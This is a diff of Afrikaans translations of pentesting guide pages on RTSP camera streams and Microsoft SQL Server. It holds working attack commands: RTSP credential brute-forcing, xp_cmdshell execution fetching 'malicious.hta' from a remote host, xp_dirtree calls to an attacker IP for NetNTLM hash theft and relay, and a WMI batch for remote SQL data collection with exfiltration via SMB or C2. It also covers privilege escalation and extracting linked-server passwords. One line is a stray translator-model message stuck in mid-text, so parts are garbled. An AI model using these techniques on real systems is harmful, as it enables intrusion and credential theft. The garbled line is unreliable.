-Onthou, die korrekte formaat sluit 'n dubbele "\r\n" in vir 'n konsekwente antwoord. 'n "200 OK" antwoord dui op **onaangetekende toegang**, terwyl "401 Unauthorized" die behoefte aan verifikasie aandui, wat onthul of **Basic** of **Digest authentication** benodig word.
+Onthou, die korrekte indeling sluit 'n dubbele "\r\n" in vir 'n konsekwente antwoord. 'n "200 OK" antwoord dui op **nie-geauthentiseerde toegang**, terwyl "401 Unauthorized" die behoefte aan verifikasie aandui, wat wys of **Basic** of **Digest authentication** benodig word.
 
-Vir **Basic authentication** kodeer jy die gebruikersnaam en wagwoord in base64 en sluit dit in die versoek in soos volg:
+Vir **Basic authentication**, kodeer jy die gebruikersnaam en wagwoord in base64 en sluit dit in die request in soos volg:
 
 `DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
 
-Hierdie voorbeeld gebruik "admin" en "1234" vir die geloofsbriewe. Hier is 'n **Python script** om so 'n versoek te stuur:
+Hierdie voorbeeld gebruik "admin" en "1234" as die inlogbesonderhede. Hier is 'n **Python script** om so 'n request te stuur:
 ```python
 import socket
 req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@@ -41,23 +41,23 @@ s.sendall(req)
 data = s.recv(1024)
 print(data)
 ```
-**Basiese outentisering** is eenvoudiger en verkieslik. **Digest outentisering** vereis sorgvuldige hantering van die outentiseringsbesonderhede wat in die "401 Onbevoegd" antwoord verskaf word.
+**Basic authentication** is eenvoudiger en word verkies. **Digest authentication** vereis deeglike hantering van die authentikasie-byligting wat in die "401 Unauthorized" response verskaf word.
 
-Hierdie oorsig vereenvoudig die proses om toegang tot RTSP-strome te verkry, met fokus op **Basiese outentisering** vir sy eenvoud en praktiese nut in aanvanklike pogings.
+Hierdie oorsig vereenvoudig die proses om toegang tot RTSP-strome te kry, met fokus op **Basic authentication** vanweë die eenvoud en praktysheid in aanvanklike pogings.
 
 ## Enumerasie
 
-Kom ons kry inligting oor geldige metodes en URL's wat ondersteun word en probeer om die toegang te brute-force (indien nodig) om toegang tot die inhoud te verkry.
+Kom ons kry inligting oor watter geldige metodes en URLs ondersteun word en probeer, indien nodig, om brute-force toegang te verkry tot die inhoud.
 ```bash
 nmap -sV --script "rtsp-*" -p <PORT> <IP>
 ```
-#### Beskou die RTSP-stroom met [ffplay](https://ffmpeg.org/ffplay.html)
+#### RTSP-stroom bekyk met [ffplay](https://ffmpeg.org/ffplay.html)
-Sodra jy 'n geldige RTSP-pad ontdek het (bv. `/mpeg4`, `/live.sdp`) en toegang bevestig het (sonder verifikasie of met geloofsbriewe), kan jy `ffplay` gebruik om die stroom te speel:
+Sodra jy 'n geldige RTSP-pad ontdek het (bv. `/mpeg4`, `/live.sdp`) en toegang bevestig het (sonder autentisering of met inlogbesonderhede), kan jy `ffplay` gebruik om die stroom af te speel:
 ```bash
 ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
 ```
-- `-rtsp_transport tcp`: Gebruik TCP in plaas van UDP vir meer betroubare streaming
+- `-rtsp_transport tcp`: Gebruik TCP in plaas van UDP vir meer betroubare stroom
-- `-x`, `-y`: Opsionele vlae om video resolusie te beheer
+- `-x`, `-y`: Opsionele vlae om videoresolusie te beheer
 - Vervang `<IP>` en pad soos nodig
 
 ### [Brute Force](../generic-hacking/brute-force.md#rtsp)
@@ -68,15 +68,21 @@ Om te bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https
 
 [**Cameradar**](https://github.com/Ullaakut/cameradar)
 
-- Ontdek oop RTSP gasheer op enige toeganklike teiken
+- Detecteer oop RTSP-hosts op enige toeganklike teiken
-- Kry hul publieke inligting (hostname, poort, kamera model, ens.)
+- Kry hul publieke inligting (gasheernaam, poort, kamera-model, ens.)
-- Begin outomatiese woordeboekaanvalle om hul stroomroete te kry (byvoorbeeld /live.sdp)
+- Begin geoutomatiseerde woordeboek-aanvalle om hul stroomroete te kry (bv. /live.sdp)
-- Begin outomatiese woordeboekaanvalle om die gebruikersnaam en wagwoord van die kameras te kry
+- Begin geoutomatiseerde woordeboek-aanvalle om die gebruikersnaam en wagwoord van die kameras te kry
-- Genereer miniatuurbeelde van hulle om te kontroleer of die strome geldig is en om 'n vinnige oorsig van hul inhoud te hê
+- Genereer miniatuurbeelde daarvan om te kontroleer of die strome geldig is en om 'n vinnige voorskou van hul inhoud te hê
-- Probeer om 'n Gstreamer-pyplyn te skep om te kontroleer of hulle behoorlik gekodeer is
+- Probeer 'n Gstreamer-pipeline skep om te kyk of hulle behoorlik gekodeer is
 - Druk 'n opsomming van al die inligting wat Cameradar kon kry
 
-## References
+### Sien ook
+
+{{#ref}}
+32100-udp-pentesting-pppp-cs2-p2p-cameras.md
+{{#endref}}
+
+## Verwysings
 
 - [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
 - [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)

src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

@@ -4,25 +4,25 @@
 
 ## Basiese Inligting
 
-From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
+Vanaf [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
 
-> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.
+> **Microsoft SQL Server** is 'n **relasionele databasisbestuurstelsel** wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.
 
-**Standaard poort:** 1433
+**Standaardpoort:** 1433
 ```
 1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
 ```
-### **Standaard MS-SQL Stelseltabelle**
+### **Standaard MS-SQL Sisteemtabelle**
 
-- **master Databasis**: Hierdie databasis is van kardinale belang aangesien dit alle stelselniveau besonderhede vir 'n SQL Server-instansie vasvang.
+- **master Database**: Hierdie databasis is noodsaaklik omdat dit alle stelselvlakbesonderhede vir 'n SQL Server-instansie bevat.
-- **msdb Databasis**: SQL Server Agent gebruik hierdie databasis om skedulering vir waarskuwings en take te bestuur.
+- **msdb Database**: SQL Server Agent gebruik hierdie databasis om die skedulering van waarskuwings en take te bestuur.
-- **model Databasis**: Dien as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollasies, herstelmodel, en meer weerspieël word in nuut geskepte databasisse.
+- **model Database**: Dien as sjabloon vir elke nuwe databasis op die SQL Server-instansie; enige veranderinge soos grootte, collation, herstelmodel, en meer word in nuut geskepte databasisse weerspieël.
-- **Resource Databasis**: 'n Lees-alleen databasis wat stelselaanwysers bevat wat saam met SQL Server kom. Hierdie voorwerpe, terwyl fisies in die Resource databasis gestoor, word logies in die sys skema van elke databasis aangebied.
+- **Resource Database**: 'n slegs-lees databasis wat stelseloobjekte bevat wat by SQL Server kom. Hierdie objekte word fisies in die Resource-databasis gestoor, maar logies aangebied in die sys-skeema van elke databasis.
-- **tempdb Databasis**: Dien as 'n tydelike stoorarea vir tydelike voorwerpe of tussenresultate.
+- **tempdb Database**: Dien as 'n tydelike stoorgedeelte vir verbygaande objekte of tussenliggende resultaatstelle.
 
-## Enumerasie
+## Enumeration
 
-### Outomatiese Enumerasie
+### Automatic Enumeration
 
 As jy niks van die diens weet nie:
 ```bash
@@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
 msf> use auxiliary/scanner/mssql/mssql_ping
 ```
 > [!TIP]
-> As jy **nie** **akkrediteer nie** het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **rekeninge blokkeer** as jy verskeie kere met 'n bestaande gebruikersnaam misluk om in te log. 
+> As jy **nie** **credentials** het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, jy kan **block accounts** as jy verskeie kere misluk om te login met 'n bestaande username'.
 
-#### Metasploit (het kredensiaal nodig)
+#### Metasploit (benodig creds)
 ```bash
 #Set USERNAME, RHOSTS and PASSWORD
 #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@@ -66,9 +66,9 @@ msf> use windows/manage/mssql_local_auth_bypass
 ```
 ### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
 
-### Handmatige Enumerasie
+### Handmatige enumerasie
 
-#### Inlog
+#### Login
 
 [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
 ```shell
@@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
 1> select 1;
 2> go
 ```
-#### Algemene Opname
+#### Algemene Enumeration
 ```sql
 # Get version
 select @@version;
@@ -129,7 +129,7 @@ enum_links
 #Use a link
 use_link [NAME]
 ```
-#### Kry Gebruiker
+#### Kry gebruiker
 
 
 {{#ref}}
@@ -156,14 +156,14 @@ SELECT * FROM sysusers
 ```
 #### Kry Toestemmings
 
-1. **Securable:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangbeheer. Hierdie word gekategoriseer in:
+1. **Securable:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangsbeheer. Hierdie word gekategoriseer in:
-- **Server** – Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en server rolle in.
+- **Server** – Voorbeelde sluit in databases, logins, endpoints, availability groups, en server roles.
-- **Database** – Voorbeelde dek databasis rolle, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
+- **Database** – Voorbeelde dek database rolle, application roles, skema, sertifikate, full-text katalogusse, en users.
-- **Schema** – Sluit tafels, uitsigte, prosedures, funksies, sinonieme, ens. in.
+- **Schema** – Sluit tabelle, views, procedures, functions, synonyms, ens. in.
-2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n prinsiep toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
+2. **Permission:** Gekoppel aan SQL Server securables; toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n principal gegee word. Bestuur van permissies gebeur op twee vlakke:
-- **Servervlak** met behulp van aanmeldings
+- **Server Level** met logins
-- **Databasisvlak** met behulp van gebruikers
+- **Database Level** met users
-3. **Prinsiep:** Hierdie term verwys na die entiteit wat toestemming vir 'n securable ontvang. Prinsipes sluit hoofsaaklik aanmeldings en databasis gebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
+3. **Principal:** Hierdie term verwys na die entiteit wat toestemming vir 'n securable ontvang. Principals sluit hoofsaaklik logins en database users in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of ontkenning van permissies of deur logins en users in rolle op te neem wat met toegangsregte toegerus is.
 ```sql
 # Show all different securables names
 SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
 Use master
 EXEC sp_helprotect 'xp_cmdshell'
 ```
-## Tricks
+## Truuks
 
-### Voer OS Opdragte Uit
+### Voer OS-opdragte uit
 
 > [!CAUTION]
-> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
+> Neem kennis dat om opdragte te kan uitvoer dit nie net nodig is dat **`xp_cmdshell`** **geaktiveer** is nie, maar ook dat jy die **EXECUTE permission on the `xp_cmdshell` stored procedure** het. Jy kan sien wie (behalwe sysadmins) `xp_cmdshell` kan gebruik met:
 >
 > ```sql
 > Use master
@@ -235,13 +235,43 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
 # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
 ```
-### Kry gehashde wagwoorde
+### WMI-based afgeleë SQL-versameling (sqlcmd + CSV uitvoer)
+
+Operateurs kan vanaf 'n IIS/app-laag na SQL Servers pivot deur WMI te gebruik om 'n klein batch uit te voer wat by MSSQL autentiseer en ad‑hoc navrae uitvoer en die resultate na CSV uitvoer. Dit hou die versameling eenvoudig en meng met admin-aktiwiteite.
+
+Voorbeeld mssq.bat
+```bat
+@echo off
+rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
+set S=%1
+set U=%2
+set P=%3
+set Q=%4
+set O=%5
+rem Remove headers, trim trailing spaces, CSV separator = comma
+sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
+```
+Voer dit op afstand uit met WMI
+```cmd
+wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
+```
+PowerShell alternatief
+```powershell
+$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
+Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
+```
+Aantekeninge
+- sqlcmd kan ontbreek; gebruik anders osql, PowerShell Invoke-Sqlcmd, of 'n one‑liner wat System.Data.SqlClient gebruik.
+- Gebruik aanhalingstekens sorgvuldig; lang/kompliseerde navrae is makliker om via 'n lêer te verskaf of as 'n Base64‑encoded argument gedekodeer binne die batch/PowerShell-stub.
+- Exfil die CSV via SMB (bv. kopieer vanaf \\SQLHOST\C$\Windows\Temp) of komprimeer en skuif dit deur jou C2.
+
+### Get hashed passwords
 ```bash
 SELECT * FROM master.sys.syslogins;
 ```
-### Steel NetNTLM-hash / Relay-aanval
+### Steel NetNTLM hash / Relay attack
 
-Jy moet 'n **SMB-bediener** begin om die hash wat in die outentisering gebruik word, te vang (`impacket-smbserver` of `responder` byvoorbeeld).
+Jy moet 'n **SMB server** begin om die hash wat tydens die authentication gebruik word vas te vang (`impacket-smbserver` of `responder`, byvoorbeeld).
 ```bash
 xp_dirtree '\\<attacker_IP>\any\thing'
 exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@@ -265,7 +295,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
 ```
 > [!WARNING]
-> Jy kan kyk of wie (behalwe sysadmins) toestemmings het om daardie MSSQL funksies uit te voer met:
+> Jy kan nagaan wie (behalwe sysadmins) toestemming het om daardie MSSQL-funksies uit te voer met:
 >
 > ```sql
 > Use master;
@@ -274,24 +304,26 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
 > EXEC sp_helprotect 'xp_fileexist';
 > ```
 
-Deur gereedskap soos **responder** of **Inveigh** is dit moontlik om die **NetNTLM hash** te **steel**.\
+Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
 Jy kan sien hoe om hierdie gereedskap te gebruik in:
 
+
 {{#ref}}
 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
 {{#endref}}
 
-### Misbruik van MSSQL vertroude Skakels
+### Misbruik van MSSQL trusted Links
+
+[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **to find more information about how to abuse this feature:**
 
-[**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie kenmerk te misbruik:** 
 
 {{#ref}}
 ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
 {{#endref}}
 
-### **Skryf Lêers**
+### **Skryf lêers**
 
-Om lêers te skryf met `MSSQL`, moet ons **Ole Automation Procedures** [**inskakel**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin regte vereis, en dan 'n paar gestoor prosedures uitvoer om die lêer te skep:
+Om lêers te skryf met `MSSQL`, moet ons **aktiveer** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), wat admin-bevoegdhede vereis, en daarna 'n paar stored procedures uitvoer om die lêer te skep:
 ```bash
 # Enable Ole Automation Procedures
 sp_configure 'show advanced options', 1
@@ -311,24 +343,24 @@ EXECUTE sp_OADestroy @OLE
 ```
 ### **Lees lêer met** OPENROWSET
 
-Standaard laat `MSSQL` lêer **lees op enige lêer in die bedryfstelsel waartoe die rekening lees toegang het**. Ons kan die volgende SQL-navraag gebruik:
+Standaard laat `MSSQL` lêer **lees op enige lêer in die bedryfstelsel waartoe die rekening leesregte het** toe. Ons kan die volgende SQL query gebruik:
 ```sql
 SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
 ```
-egter, die **`BULK`** opsie vereis die **`ADMINISTER BULK OPERATIONS`** of die **`ADMINISTER DATABASE BULK OPERATIONS`** toestemming.
+Die **`BULK`**-opsie vereis egter die **`ADMINISTER BULK OPERATIONS`** of die **`ADMINISTER DATABASE BULK OPERATIONS`** toestemming.
 ```sql
 # Check if you have it
 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
 ```
-#### Fout-gebaseerde vektor vir SQLi:
+#### Foutgebaseerde vektor vir SQLi:
 ```
 https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
 ```
-### **RCE/Lees lêers wat skripte uitvoer (Python en R)**
+### **RCE/Lees lêers deur skripte uit te voer (Python en R)**
 
 MSSQL kan jou toelaat om **skripte in Python en/of R** uit te voer. Hierdie kode sal uitgevoer word deur 'n **ander gebruiker** as die een wat **xp_cmdshell** gebruik om opdragte uit te voer.
 
-Voorbeeld wat probeer om 'n **'R'** _"Hellow World!"_ **nie te werk nie**:
+Voorbeeld wat probeer om 'n **'R'** _"Hellow World!"_ uit te voer **werk nie**:
 
 ![](<../../images/image (393).png>)
 
@@ -346,11 +378,11 @@ print(sys.version)
 '
 GO
 ```
-### Lees Registrasie
+### Lees Register
 
-Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Registrasie**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
+Microsoft SQL Server verskaf **meerdere uitgebreide stored procedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
 
-| **Regulier**                | **Instansie-Bewus**                  |
+| **Regulier**                | **Instansie-bewus**                  |
 | --------------------------- | ------------------------------------ |
 | sys.xp_regread              | sys.xp_instance_regread              |
 | sys.xp_regenumvalues        | sys.xp_instance_regenumvalues        |
@@ -371,21 +403,21 @@ Use master;
 EXEC sp_helprotect 'xp_regread';
 EXEC sp_helprotect 'xp_regwrite';
 ```
-Vir **meer voorbeelde** kyk na die [**oorspronklike bron**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
+Vir **meer voorbeelde** kyk na die [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
 
-### RCE met MSSQL Gebruiker Gedefinieerde Funksie - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
+### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
 
-Dit is moontlik om **'n .NET dll binne MSSQL te laai met pasgemaakte funksies**. Dit, egter, **vereis `dbo` toegang** so jy het 'n verbinding met die databasis **as `sa` of 'n Administrateur rol**.
+Dit is moontlik om **'n .NET dll binne MSSQL te laai met aangepaste funksies**. Dit vereis egter **`dbo` toegang**, so jy het 'n verbinding met die databasis nodig **as `sa` or an Administrator role**.
 
-[**Volg hierdie skakel**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) om 'n voorbeeld te sien.
+[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
 
-### RCE met `autoadmin_task_agents`
+### RCE with `autoadmin_task_agents`
 
-Volgens[ **hierdie pos**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), is dit ook moontlik om 'n afstands dll te laai en MSSQL te laat uitvoer met iets soos:
+Volgens [**to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), is dit ook moontlik om 'n remote dll te laai en MSSQL dit te laat uitvoer met iets soos:
 ```sql
 update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
 ```
-Met:
+Stuur asseblief die inhoud van die README.md (of die teks) wat jy wil hê ek moet na Afrikaans vertaal. Ek sal die markdown, tags, links en kode onveranderd laat en net die relevante Engelse tekst vertaal.
 ```csharp
 using Microsoft.SqlServer.SmartAdmin;
 using System;
@@ -437,13 +469,13 @@ public void Test()
 ```
 ### Ander maniere vir RCE
 
-Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoor prosedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [eksterne skripte](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) toe te voeg.
+Daar is ander metodes om opdraguitvoering te kry, soos om [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), en [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
 
 ## MSSQL Privilege Escalation
 
 ### Van db_owner na sysadmin
 
-As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) gegee word en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**.
+As 'n **gewone gebruiker** die rol **`db_owner`** oor die **databasis wat deur 'n admin besit word** (soos **`sa`**) gegee word, en daardie databasis is gekonfigureer as **`trustworthy`**, kan daardie gebruiker hierdie regte misbruik om te **privesc**, omdat **stored procedures** wat daar geskep is as die eienaar (**admin**) kan **execute**.
 ```sql
 # Get owners of databases
 SELECT suser_sname(owner_sid) FROM sys.databases
@@ -487,9 +519,9 @@ Of 'n **PS** skrip:
 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
 ```
-### Vervalsing van ander gebruikers
+### Impersonation of other users
 
-SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die toestemmings van 'n ander gebruiker** of aanmelding aan te neem totdat die konteks gereset word of die sessie eindig.
+SQL Server het 'n spesiale toestemming, genaamd **`IMPERSONATE`**, wat **die uitvoerende gebruiker toelaat om die bevoegdhede van 'n ander gebruiker** or login totdat die konteks gereset word of die sessie eindig.
 ```sql
 # Find users you can impersonate
 SELECT distinct b.name
@@ -510,9 +542,9 @@ enum_links
 use_link [NAME]
 ```
 > [!TIP]
-> As jy 'n gebruiker kan naboots, selfs al is hy nie 'n sysadmin nie, moet jy kyk of die gebruiker toegang het tot ander databasisse of gekoppelde bedieners.
+> As jy 'n gebruiker kan naboots, selfs al is hy nie sysadmin nie, moet jy nagaan **as die gebruiker toegang het** tot ander **databases** of linked servers.
-> 
+
-> Let daarop dat sodra jy 'n sysadmin is, jy enige ander een kan naboots:
+Let wel: sodra jy sysadmin is, kan jy enige ander een naboots:
 ```sql
 -- Impersonate RegUser
 EXECUTE AS LOGIN = 'RegUser'
@@ -526,38 +558,37 @@ Jy kan hierdie aanval uitvoer met 'n **metasploit** module:
 ```bash
 msf> auxiliary/admin/mssql/mssql_escalate_execute_as
 ```
-of met 'n **PS** skrip:
+of met 'n **PS** script:
 ```bash
 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
 ```
-## Gebruik van MSSQL vir Volharding
+## Gebruik van MSSQL vir Persistensie
 
 [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
 
-## Uittreksel van wagwoorde uit SQL Server Linked Servers
+## Uittreksel van wagwoorde van SQL Server Linked Servers
 
-'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.
+'n Aanvaller kan SQL Server Linked Servers-wagwoorde uit die SQL-instances onttrek en dit in gewone teks kry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te kry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is te onttrek en te ontsleutel, kan hier gevind word [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
 
-Sommige vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
+Sommige vereistes en konfigurasies moet gedoen word sodat hierdie exploit kan werk. Eerstens moet jy Administrator-regte op die masjien hê, of die vermoë om die SQL Server-konfigurasies te bestuur.
 
-Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volgende is:
+Na bevestiging van jou permissies, moet jy drie dinge konfigureer, wat die volgende is:
 
-1. Aktiveer TCP/IP op die SQL Server instansies;
+1. Skakel TCP/IP op die SQL Server-instances aan;
-2. Voeg 'n Beginparameter by, in hierdie geval sal 'n trace flag bygevoeg word, wat -T7806 is.
+2. Voeg 'n Start Up-parameter by; in hierdie geval sal 'n trace-flag bygevoeg word, naamlik -T7806.
-3. Aktiveer afstandsadminverbinding.
+3. Skakel remote admin connection aan.
 
-Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die uittreksel en ontsleuteling van die wagwoorde kombineer.
+Om hierdie konfigurasies te outomatiseer, het [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n PowerShell-skrip vir elke stap van die konfigurasie, het die repository ook 'n volledige skrip wat die konfigurasieskripte en die onttrekking en ontsleuteling van die wagwoorde kombineer.
 
 Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
 
 [Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
 
-## Plaaslike Privilege Escalation
+## Lokale Privilege Eskalasie
 
-Die gebruiker wat MSSQL-server uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\
